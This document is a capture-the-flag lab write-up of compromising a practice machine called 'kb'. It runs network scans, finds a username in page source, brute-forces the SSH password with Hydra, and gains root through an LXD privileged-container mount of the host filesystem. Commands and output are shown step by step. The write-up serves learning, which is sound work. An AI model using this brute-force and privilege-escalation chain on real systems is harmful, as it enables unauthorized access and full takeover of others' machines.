

Netdiscover to get target machine IP address.

Currently scanning: Finished! | Screen view: Unique Hosts

8 Captured ARP Req/Rep packets, from 4 hosts. Total size: 480

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	2	120	Unknown vendor
10.0.2.3	08:00:27:6f:7a:9e	2	120	PCS Systemtechnik GmbH
10.0.2.9	08:00:27:09:6b:fc	3	180	PCS Systemtechnik GmbH

Nmap scan, 3 ports open http,ftp and ssh.

```
$nmap -A -p- kb
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-06 23:45 +08
Nmap scan report for kb (10.0.2.9)
Host is up (0.00043s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:10.0.2.15
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 4
|     vsFTPD 3.0.3 - secure, fast, stable
|_ End of status
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
|   256  af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_  256  9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: OneSchool ~ Website by Colorlib
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Ftp reveals nothing useful so far.

```

ftp> open
(to) kb
Connected to kb.
220 (vsFTPd 3.0.3)
Name (kb:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> █

```

Gobuster scan, nothing useful turned up.

```

[user@parrot-virtual]~[~/Desktop]
$ ./scan.sh http://kb
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://kb
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Extensions:  html,txt,js,php,php3,php5,phtml,bak,bk
[+] Timeout:      10s
=====
2020/11/06 23:35:11 Starting gobuster
=====
/index.html (Status: 200)
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
=====
2020/11/06 23:38:37 Finished
=====

```

Webpage, here is where I got stuck, seeing some writeups on the web, they point to seeing the source code of the webpage.

```

</div>
<!-- Username : sysadmin -->

```

Having the username, proceed to do a bruteforce to gain password for username sysadmin.

```
[22][ssh] host: kb login: sysadmin password: password1
[STATUS] attack finished for kb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-07 00:05:52
[user@parrot-virtual]~/tmp
$hydra -l sysadmin -P rockyou.txt ssh://kb -vV -f -I
```

User flag.

```
sysadmin@kb-server:~$ cat user.txt
48a365b4ce1e322a55ae9017f3daf0c0
sysadmin@kb-server:~$
```

Nothing useful so far.

```
sysadmin@kb-server:/var/www/html/scss$ find / -type f -perm -4000 2> /dev/null | xargs ls -lah {}
ls: cannot access '{}': No such file or directory
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43K Sep 16 18:43 /bin/mount
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 27K Sep 16 18:43 /bin/umount
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 146K Jan 31 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root messagebus 42K Jun 11 18:25 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 427K Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14K Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 111K Jul 10 14:00 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 99K Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
```

Kernel is fairly recent.

```
sysadmin@kb-server:/var/www/html/scss$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.5 LTS
Release: 18.04
Codename: bionic
sysadmin@kb-server:/var/www/html/scss$ uname -a
Linux kb-server 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
sysadmin@kb-server:/var/www/html/scss$
```

I missed this part, after compromising the machine, it appears that this is the standard way to escalate priv.

```
sysadmin@kb-server:/var/www/html/scss$ find /etc -type f -writable 2> /dev/null
/etc/update-motd.d/00-header
sysadmin@kb-server:/var/www/html/scss$
```

Not able to run any sudo commands.

```
sysadmin@kb-server:/var/www/html/scss$ sudo -l
[sudo] password for sysadmin:
Sorry, user sysadmin may not run sudo on kb-server.
sysadmin@kb-server:/var/www/html/scss$
```

Saw lxd as ways to escalate privileges.

```
sysadmin@kb-server:/var/www/html/scss$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
sysadmin@kb-server:/var/www/html/scss$
```

Basically, just follow instructions on -> <https://www.hackingarticles.in/lxd-privilege-escalation/>

```
sysadmin@kb-server:/var/www/html/scss$ lxc list
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:18.04
```

```
+-----+-----+-----+-----+-----+-----+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-----+-----+-----+-----+-----+-----+
sysadmin@kb-server:/var/www/html/scss$
```

```
sysadmin@kb-server:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]:
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
sysadmin@kb-server:/tmp$ lxc init myimage hello -c security.privileged=true
Creating hello
sysadmin@kb-server:/tmp$ lxc list
+-----+-----+-----+-----+-----+-----+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-----+-----+-----+-----+-----+-----+
| hello | STOPPED |      |      | PERSISTENT | 0          |
+-----+-----+-----+-----+-----+-----+
sysadmin@kb-server:/tmp$ lxc config device add hello mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to hello
sysadmin@kb-server:/tmp$ lxc start hello
```

```
$cd .
[user@parrot-virtual]-[/tmp]
$git clone https://github.com/saghul/lxd-alpine-builder.git
```



```

~ # ls -lah
total 12K
drwx-----  2 root    root    4.0K Nov  6 16:20 .
drwxr-xr-x  19 root    root    4.0K Nov  6 16:20 ..
-rw-----  1 root    root    11 Nov  6 16:20 .ash_history
~ # cd /mnt/root
/mnt/root # ls -lah
total 2G
drwxr-xr-x  24 root    root    4.0K Nov  6 15:27 .
drwxr-xr-x   3 root    root    4.0K Nov  6 16:20 ..
drwxr-xr-x   2 root    root    4.0K Nov  6 15:26 bin
drwxr-xr-x   4 root    root    4.0K Nov  6 15:27 boot
drwxr-xr-x   2 root    root    4.0K Aug 22 16:56 cdrom
drwxr-xr-x  20 root    root    3.9K Nov  6 15:26 dev
drwxr-xr-x  92 root    root    4.0K Nov  6 15:26 etc
drwxr-xr-x   3 root    root    4.0K Aug 22 17:53 home
lrwxrwxrwx   1 root    root    34 Nov  6 15:27 initrd.img -> boot/initrd.img-4.15.0-122-generic
lrwxrwxrwx   1 root    root    34 Aug 22 16:57 initrd.img.old -> boot/initrd.img-4.15.0-112-generic
drwxr-xr-x  22 root    root    4.0K Aug 22 16:57 lib
drwxr-xr-x   2 root    root    4.0K Aug  6 22:37 lib64
drwx-----  2 root    root   16.0K Aug 22 16:55 lost+found
drwxr-xr-x   2 root    root    4.0K Aug  6 22:35 media
drwxr-xr-x   2 root    root    4.0K Aug  6 22:35 mnt
drwxr-xr-x   2 root    root    4.0K Aug  6 22:35 opt
dr-xr-xr-x 128 root    root      0 Nov  6 15:23 proc
drwx-----  4 root    root    4.0K Aug 22 17:54 root
drwxr-xr-x  29 root    root   1020 Nov  6 16:19 run
drwxr-xr-x   2 root    root   12.0K Nov  6 15:26/sbin
drwxr-xr-x   2 root    root    4.0K Aug 22 17:02 snap
drwxr-xr-x   3 root    root    4.0K Aug 22 17:33 srv
-rw-----  1 root    root    1.9G Aug 22 16:58 swap.img
dr-xr-xr-x  13 root    root      0 Nov  6 15:23 sys
drwxrwxrwt  10 root    root    4.0K Nov  6 16:17 tmp
drwxr-xr-x  10 root    root    4.0K Aug  6 22:35 usr
drwxr-xr-x  14 root    root    4.0K Aug 22 17:59 var
lrwxrwxrwx   1 root    root    31 Nov  6 15:27 vmlinuz -> boot/vmlinuz-4.15.0-122-generic
lrwxrwxrwx   1 root    root    31 Aug 22 16:57 vmlinuz.old -> boot/vmlinuz-4.15.0-112-generic
/mnt/root # cd root
/mnt/root/root # ls -lah
total 32K
drwx-----  4 root    root    4.0K Aug 22 17:54 .
drwxr-xr-x  24 root    root    4.0K Nov  6 15:27 ..
-rw-----  1 root    root    1.5K Aug 22 18:04 .bash_history
-rw-r--r--  1 root    root    3.0K Apr  9 2018 .bashrc
drwxr-xr-x   3 root    root    4.0K Aug 22 17:07 .local
-rw-r--r--  1 root    root   148 Aug 17 2015 .profile
drwx-----  2 root    root    4.0K Aug 22 17:02 .ssh
-rw-r--r--  1 root    root    33 Aug 22 17:54 flag.txt
/mnt/root/root # cat flag.txt
leedddff436e6648b5e51cb0d2ec7
/mnt/root/root # █

```